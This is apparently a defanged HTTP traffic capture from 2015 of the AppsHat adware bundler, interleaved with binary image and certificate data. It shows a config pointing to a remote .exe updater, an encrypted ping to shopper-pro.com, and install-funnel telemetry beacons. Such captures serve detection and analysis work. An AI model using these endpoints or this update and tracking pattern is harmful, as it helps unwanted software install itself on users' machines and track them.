lt;....iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:FD7F1174072068118C14E27DC24655EC" xmpMM:DocumentID="xmp.did:8786
860B6FBE11E195A29E3F354856C3" xmpMM:InstanceID="xmp.iid:8786860A6FBE11
E195A29E3F354856C3" xmp:CreatorTool="Adobe Photoshop CS6 (13.0 2012030
5.m.415 2012/03/05:21:00:00)  (Macintosh)"> <xmpMM:DerivedFrom s
tRef:instanceID="xmp.iid:FE7F1174072068118C14E27DC24655EC" stRef:docum
entID="xmp.did:FD7F1174072068118C14E27DC24655EC"/> </rdf:Descrip
tion> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
.hY....xIDATx...{...u.........2?..vb...qLk....$!.....r..mZ.........*..
...T.J.)...R.(.....ab.....I.43...n..}.......z.X._=c. .x..3....{...<
.Y......x]...u....:^..x}c].q....:^..x..#.8^..x...u........u....:^.....
..:^..x...u....x...u....:...u....:^..x....:^..x...u....x...u....:^G.p.
...:^..x..#.8^..x...u........u....:^.......:^..x...u....x...u....:...u
....:^..x....:^..x...u......y..y.......x....:^_zu.).....k...8e.....O.o
..x......q........_............*^{....x....... ..}.F......_8..f...<<< skipped >>>

GET /thumbnails/icon/images/assets/d/a/da84c206c2019448521379d2ff837774.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3

GET /thumbnails/icon/images/assets/e/9/e94782c9200f8de809a50327879df1cc.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3



t...Lgc..x.y.Z.......w.......1?./~...........^.`8.....e(.s.....c... ..
.4:.0y.... P.K_h.....BB.d .4BBf.B8.L.$9...6.......u ....}T....x.=1r...
.k...r.#.9.<`........v.E..U4.2q.........#..8Y.rIU....X.K.{:.d2.zu..
...e&......$h...YJr....bq...g..."/.?...-;;....<...=..$.............
*!`b%[.s..U......i......g.V..:.F..GD.K.sZH.e..N.Dh8.b.%..m............
..Q.~.&e...b.Y(...2..sG..d..<[email protected].)....Y...P...
.....R..h.....%3r.@......,..[..2yp......7.....l...7....<r.2..8.%...
1.& ..$.&..P]G.-.'."L#$8.G...q....x'........o39.3.U..FOxi.H.#..G9Om.|.
............O........ ..Y.!6...h.....Xh.?.%...3..m......6.".F....]%w&l
t;.=.G.$.2V....g..kftL..q...J0...k......o.!...D....(.3..^..1.V.v...um)
g..........4....OQa.....M..)..8..x....v_..p&....N,.0.%g.....J.\"...Q..
.......eM..*D..rQib.OL.<.F.....q.._=F...1.U.[.. ..,W.]`o....c.?....
..&c..\.....p....g.....gN....%^~...V.WG.,O...R...x...(.9.A. .y.oc.....
./..d.._G...\.. q...4..A.5.. ......>.Hc..SHU.......)........J.0%.)"
....../[email protected].^............*.. #."c.#.q..om#....!..
.9O_.....g...!G..y...d.f>.p.3...*......Y.Q....S....;.]......<...
Bp}.r|d1EEI..{.!.j.....-.#V.P.../..;~.>^..b.G..#t..;..aiP.[....u..[
Z...~Qu.....a..xw.Yg.>../'........!..jai*%J...........he..T...e...i
>..}.}.G.^8..w.1...q...w..{...........7^D.]%sSV..X.....q..> d...
m#k?`D..T:0.c.......<6..D....>g.L....a...d2f:..].....!.....N<
H........m.._.....y.....!Y..u...f....`......&.S".E.:..e9ge8....._.....
\.jJY.Z..k..)DG .j.G/...V....$..R..*......&.r.,...?.(...!0^c:..e..<<< skipped >>>

GET /thumbnails/icon/images/assets/b/8/b85261679e262228a562f693b3e6ef6f.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3

GET /thumbnails/icon/images/assets/7/e/7e5817bad781bbc2d2e43b350ccb53db.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:12 GMT

Content-Type: image/png

Content-Length: 75260

Last-Modified: Thu, 13 Jun 2013 17:47:02 GMT

Connection: keep-alive

ETag: "51ba0596-125fc"

Expires: Tue, 10 Feb 2015 04:30:12 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;..%.IDATx.....$Wy.|N.......9(.$.E.. ....H2.F.`[email protected]
P.B ...J...U.<3;;..s.I..?UuN.wN........>.>..........K.....A..
)S.L...2M..e..)S.L..e..)S.L."...)S.L.2E..)S.L.2e..(S.L.2e...P.L.2e..).
.L.2e..)[email protected]..)S...2e..)S.L..e..)S.L."...)S.L.2E..)S.L.2e..(S.L.2e..
.P.L.2e..)..L.2e..)[email protected]..)S...2e..)S.L..e..)S.L..e..)S.L."...)S.L...
..u..)..a.....l....|.x<.L.2E..)S...c..=..~...y....Dx..}$<...2e..
(S....i9,,.p..xL....._......y"<&[O|..4(S.L..e."[email protected].&
.....w[2...v:.c....*b.L."........w..c._v;.r[|L...nk....#....'../[.._v;
-y.-</..$.D..e...P.,L`....R.r...y..l....#.0..\H.[.>...@^.|}I..MK
..n..K.-.(B.L.".......Ha.>...5..k..j..j=...B....,..Q....Y. ....<
.?).....<.. .".....)P.L..e..............K..~..6.N..A....J.#....$`..
...'$..".O..M....).(B.LY...S.=....P../}...C.^C.0}..."...,........*...M
...!......p[v?....`....!.k..kS.........3.~.KO;^F..~...s\...~.....P....
...6..x... _/.m.r.^...X>......t*.-..kF......'.........J,.&F{...=.._
...,.O..LO./.AKWl.E.gl.....O..f...8.?D.. Vo...o.h5...[.......<.|...
.5.....~..^....dK..($=".V.`...j..K.H......8..;[email protected]...{7..
^.s..Q../O~|..1>5\;xb_.l|.6>9\?9...N.h.........Db...`.........i.
.w.;...J.'..s....V....X..e.B........[..H.Z.m~..sf......^..MHR......y@.
 i....t.Xl..@......$..*........1.......j.}...z.1....K<w..Q.x.4....z
.G.k..=.2....O.6L..7-..k..CM..<x........._7>.k.........?..&VSK..
..i].f..yYr......a~....Y...9p.....<..$....}H..$...HAJ.! ....2.;<<< skipped >>>

GET /thumbnails/icon/images/assets/b/1/b147a5a09b49b133d347bd975a4c5616.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3



.M$....!.a.o..q....E..].7%.[....'.G.'ff,$^x2X.........15$.5.o.(.wjE.F.
.X.x...Fl;2.~..2VA.{.../.. .[........)...(..2..~........._.....>...
..m...51f.y..B....U..c0q,....,.....r..9}.).*F.FS...`.c..AA...q...8):t=
....xL..5J..v.....@.........$.a.$%l......&..L.P...x. h"[email protected]..
g[.  `..n$.................soz~4......J....>.UOa..,y.j....oIv.4.. .
[email protected]/[email protected]$fx..t.'5.h...l....g.......DJ..N..R".
&U@...\....a._?T}.k.y....W...... ..4....W_.{>[email protected].
.g..$..............;%..U.|.......|.....&.d_...]M..OFpF..#.....b....<
;0..kU./Z.....Z..T....]..R.`.."[email protected].^W$~..O.>..m..
;......o..7.....*.........~.9q`....?I.o.f.s;...D.?....!g.^ Q#:....T.W.
9.%C..r..U.......9f8...UXv...:y~....9.dA..)/..|...'...A_...9Z..]...P.=
N.........m..!...s$...V...Z.2.c.S.....#.......{...BP.dn..z...1..;A..u'
......J.L....F....4.O (....7<[email protected].....:2..../p.....C....$Ow
............/....qz.!....w...i...p.... .zZ9...hf.4&aJ.3..=W_..k..Z....
[email protected]._.2....y.b...8..O\.y(.....:..Hb....AX..Y.1!..?.T..qr.V..B...M. 
O.HX..0.Y 0.6....Q#[email protected];b,9....L..4i.....H[..;......TR.
`...`... Y.y.....>K......*..m....u..?.d.....E).............t..FX...
...&..uR.'.R..l.SO...}.V>...(.....f=B.. .G".,d .....)...J....[....^
3.Kt@`.....|..I....<~....X....[..........m.!.........~......eO<|
.. .:...[.......e.............E.)?......'........K....`..Sb.I..(...M$B
&..k.YEE.^....Kf:[email protected].>.Y.u...x..
o..O....k.Y...e/z...=3.?|zoR...<.._TQI.Cc/DLB%...g..9.9...f.9..<<< skipped >>>

GET /webplayer/appshat/config.json HTTP/1.1

Accept: */*

If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT

Cache-Control: max-age=0

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.bigspeedpro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:09 GMT

Content-Type: application/json

Content-Length: 778

Last-Modified: Mon, 27 Jan 2014 15:16:30 GMT

Connection: close

ETag: "52e6784e-30a"

Accept-Ranges: bytes

{.."group-name": "AppsHat",.."program-name": "AppsHat",.."about-text":
 "Apps Hat\n(c) 2013 Somoto Ltd. All rights reserved\n\nTerms and Cond
itions:\nhXXp://VVV.appshat.com/eula/ahd\n\nPrivacy Policy:\nhXXp://ww
w.appshat.com/privacy/ahd",.."title-icon": "hXXp://VVV.appshat.com/ima
ges/16x16.ico",.."tray-icon": "hXXp://VVV.appshat.com/images/16x16.ico
",.."shortcut-icon": "hXXp://VVV.appshat.com/images/64x64.ico",.."unin
stall": "Apps Hat",.."url": "hXXp://VVV.appshat.com/home",.."width": 1
024,.."height": 795,.."cache": 86400,.."alwaysontop": false,.."program
-version": "2.13",.."start-on-windows": true,.."title": "Apps Hat",.."
tooltip": "Apps Hat",.."minimized": true,.."update-url" : "hXXp://VVV.
bigspeedpro.com/mirror/nerocrossrider/appshatmini/appshatmini_update.e
xe"..}....

GET /utility.gif?error=mem_strt&report=mini_s&ver=820&action=na&ms_vr=3&clock=3956&rnd=11942 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Tue, 10 Feb 2015 04:00:04 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close

GIF89a.............!.......,...........L..;..

GET /app/ping.ashx?e=eISsn0A7mAYLpXZ/jUeRRqKMB9u4RTbHQN2G3STfV1oSZTerw9Y85XkjLFx9TDtKeHo6FOnjNt3Tp8VZQ/4p3GivYS/d2rWv9A8dpvtBeO2hc3DbjNrW8PQYnQ1xoKSBiZYn8TH3Pe3MlW9RFqOniiR/VPwArHZ1QMCg3fniKLWzp3t4zCe899YNvMh53GZdODaDkAUnC4/kfaS0xvxjr7Lp8bM2zq8UETt5/U4HLkXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW aNKDh4dmbgaEpC43Yrp89RvUzp5P7xtxpmtPfLoqsZt80t8dT6BdnpggjzHXGMbB/NR8FfqzoH7R0qlvkz/HCA= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: repjs.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:17 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 20
15 03:59:17 GMT..Content-Length: 0..

GET /webplayer/flvplayer/flvplayer.ico HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.bigspeedpro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:45 GMT

Content-Type: image/x-icon

Content-Length: 1150

Last-Modified: Sun, 28 Oct 2012 12:58:25 GMT

Connection: close

ETag: "508d2bf1-47e"

Accept-Ranges: bytes
............ .h.......(....... ..... .....@...........................
........... ...........................-..............................
......SSS.........zzz.KKK.UUU.................................(((.mmm.
............nnn.............***.....................444...............
..kkk....................................-............|||.....jjj.....
~~~.................bbb........-....QQQ.............................BB
B.................AAA.........>>>.........{{{.---............
.....***.zzz.........................^^^..............................
.......^^^.........................___................................
.....ggg.................................................ZZZ..........
...<<<.........===.................RRR.....;;;.;;;.....~~~...
......BBB........ ....]]].................................|||.........
....... ........!!!.....................ppp...........................
..............................VVV.............VVV.....................
................   .000.........ooo.000...............................
......... ........................... ................................
..................................................

GET /gscodesigng2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRruLd2WRFk6cRYGFIqkQ4J8hxDogQUCG7YtpyKv+0+18N0XcyAH6gvUHoCEhEhR5HFQnItXEGJJ9zEpk51tw== HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp2.globalsign.com


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:02:38 GMT

Content-Type: application/ocsp-response

Content-Length: 1474

Connection: keep-alive

Set-Cookie: __cfduid=d3c6333cc308b39c070033ed3eb1d63ff1423540958; expires=Wed, 10-Feb-16 04:02:38 GMT; path=/; domain=.globalsign.com; HttpOnly

ETag: bf444b3a489a485523c59c0e446edf49f0212be3

Expires: Tue, 10 Feb 2015 07:18:27 GMT

Last-Modified: Mon, 09 Feb 2015 19:18:27 GMT

Cache-Control: public,no-transform,must-revalidate,max-age=43199

CF-Cache-Status: HIT

Server: cloudflare-nginx

CF-RAY: 1b65698e3ba7046d-FRA
0..........0..... .....0......0...0......U.<r...{C...(.I.......2015
0209191827Z0u0s0K0... ........k..vY.d..X.R*.....C....n......>..t]..
../Pz...!G..Br-\A.'...Nu.....20150209191827Z....20150210071827Z0...*.H
...........F..dw.|<4..w`.{9}.d....U.l......s5}1.9?C..W.D.W."...3.N.
7.m.F[Z........`_$mO...3..U.K.......|...B.}5...gk.....#PL#6......0..=*
%JQdy5.Q.UN.l.....:..e......i.....~.3...C]m}...'i.?...7y4...`....E....
Q..xA.S..=..#.8R.S..(@...V..........4..D../..F/....p.8w.n..%....0...0.
..0...........!....I~.Z.v.#...@0...*.H........0Q1.0...U....BE1.0...U..
..GlobalSign nv-sa1'0%..U....GlobalSign CodeSigning CA - G20...1412121
62428Z..150312162428Z0}1.0...U....BE1.0...U....GlobalSign nv-sa1:08..U
...1GlobalSign CodeSigning CA - G2 OCSP responder - 21.0...U....201412
121724000.."0...*.H.............0.........rm...6y...M...... B.....).[.
....W!..7wM.1 .....W7.......9...0...K.n..V..x..U............;.jrL.i.i.
.Z.V..9......~.........o....i*~m..<............o. .2.P<...B..C..
5......#..H.*Y=....H.i%........x=.....k%..&.....|...".%6..u;Um".df*..s
y..S!...p[.>.&....c. .[........0..0...U....0.0...U...........0...U.
%..0... .......0... .....0......0...U......U.<r...{C...(.I.....0...
U.#..0....n......>..t]..../Pz0...*.H.............5....9G....F....F.
.Sx...9n5K..S..B.OD...:=N...t..c2=.).1......Q<.*..O....94.e7..Y..A.
.:]r...ej..Q....p]...I......Kt...n..N.... .O.-JY.'..fqB..q~..J...I....
o..a.n([email protected].........)3. ....n...}.:e.6Y........4E..j..
1qZ..\.Ymcp.V j5.....}....@..._..<<< skipped >>>

GET /utility.gif?report=fdata&f=1&c=000820&i=100&n=init_start_funnel_step_name&rnd=1423540799 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 3XnYung2 F20kwXir7MK1O0SJ/uTRo5L0strYDDmtSFAihweI7cv9I0yrrhTRY7TNOwv1ZjuxLM=

x-amz-request-id: 4EDB8FCB92343D0F

Date: Tue, 10 Feb 2015 03:59:59 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: 3XnYun
g2 F20kwXir7MK1O0SJ/uTRo5L0strYDDmtSFAihweI7cv9I0yrrhTRY7TNOwv1ZjuxLM=
..x-amz-request-id: 4EDB8FCB92343D0F..Date: Tue, 10 Feb 2015 03:59:59 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000820&i=200&n=init_end_funnel_step_name&rnd=1423540802 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: PK0AnaCYNTMpvcowd0CH7X/Kk0cxTgy1klR7cP9G83qSYgc4Vik/qESaDC0efQN3OCR/3Oxvbjw=

x-amz-request-id: 1315F13204EF38CF

Date: Tue, 10 Feb 2015 04:00:02 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=300&n=deploy_start_funnel_step_name&rnd=1423540802 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 2x5aTnxKN0zOneU8p8tGr5HC/8dlfk4adZv2b3jGzxMKOjS2lb5A4erLLqiw9wkavChs/z13Z8c=

x-amz-request-id: AEC177C6B4CA97EA

Date: Tue, 10 Feb 2015 04:00:02 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: 2x5aTn
xKN0zOneU8p8tGr5HC/8dlfk4adZv2b3jGzxMKOjS2lb5A4erLLqiw9wkavChs/z13Z8c=
..x-amz-request-id: AEC177C6B4CA97EA..Date: Tue, 10 Feb 2015 04:00:02 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000820&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1423540803 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: qVF155QyQB2NqUjEUhDTh lnJSSQr70kTlKyeOsij6yaxEogZF2lyyltw15igLFlpZ/FAmL4dEI=

x-amz-request-id: 79930BFFF7A873C4

Date: Tue, 10 Feb 2015 04:00:03 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: qVF155
QyQB2NqUjEUhDTh lnJSSQr70kTlKyeOsij6yaxEogZF2lyyltw15igLFlpZ/FAmL4dEI=
..x-amz-request-id: 79930BFFF7A873C4..Date: Tue, 10 Feb 2015 04:00:03 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000820&i=500&n=deploy_notification_start_funnel_step_name&rnd=1423540804 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: UKz6maEagJ2IPw7OzPhmucTAxyt9XuHee8kibpmb8h PEhB42FeBxITQsds50RkFEffkDJPZf6k=

x-amz-request-id: 988F955FF0191CC9

Date: Tue, 10 Feb 2015 04:00:03 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1423540804 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: dP7QGVQZUDFv0CvirYO a2NQ6gEH4Qa1P7YrCbQ0j1EEnKvbcsREQh2vqbqAZzAexDJyDLmRV2A=

x-amz-request-id: F76283EF8D0F544D

Date: Tue, 10 Feb 2015 04:00:03 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=700&n=deploy_ch_start_funnel_step_name&rnd=1423540804 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: hic91 rUlF1Usv9IUrEC62EyiFlcDjLVzA HEZP0jl7Q3C/Ei01rM/4XKX2 NhuwlJrI204d3Y8=

x-amz-request-id: E254C3C75900E01D

Date: Tue, 10 Feb 2015 04:00:04 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=800&n=deploy_nova_start_funnel_step_name&rnd=1423540804 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: Jca0MjMQqFPWcysnMN9GP7fwzbKunJdxbxoQfceeFl8V3zH8Jr73dXlvjUFZDMSIOh9wCQM6Go0=

x-amz-request-id: 0EB0F514306C0CE0

Date: Tue, 10 Feb 2015 04:00:04 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=900&n=deploy_ff_start_funnel_step_name&rnd=1423540804 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 6lIV9wVCi/j9oX0FF5dDmp3eQ6tkVd6mCJhRPEP5lqJs65YH3MADDBR6J7UQ0XUe/oC2wHYf4us=

x-amz-request-id: 0220237D97FE3A35

Date: Tue, 10 Feb 2015 04:00:04 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: 6lIV9w
VCi/j9oX0FF5dDmp3eQ6tkVd6mCJhRPEP5lqJs65YH3MADDBR6J7UQ0XUe/oC2wHYf4us=
..x-amz-request-id: 0220237D97FE3A35..Date: Tue, 10 Feb 2015 04:00:04 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000820&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1423540806 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: qZtsuIStqp1uuBGsP42EMuaGZEmbq3n20i96d7sxaB1vOgBW3KKk/41OgfqJ1LLqG8kH81Yk9Ak=

x-amz-request-id: 3FB08044AA9672F5

Date: Tue, 10 Feb 2015 04:00:05 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1423540806 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: ZLbe83u/JBgD6nOpH1y1NnsvnGdTSu9Xcf1cq6M EdZn00X/BQA752ln5YaLbqIUCggzR4gb2Qw=

x-amz-request-id: EC994756B2C6AA9C

Date: Tue, 10 Feb 2015 04:00:06 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1423540806 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: NN4LK29M1qq2/zxahXpWqhUPDAQ0mV9LGFknq0VC/F75ksKSBmmLsagtYsKxl0Y5fiQx YuXMFI=

x-amz-request-id: 42FFA66418C88AB9

Date: Tue, 10 Feb 2015 04:00:06 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: NN4LK2
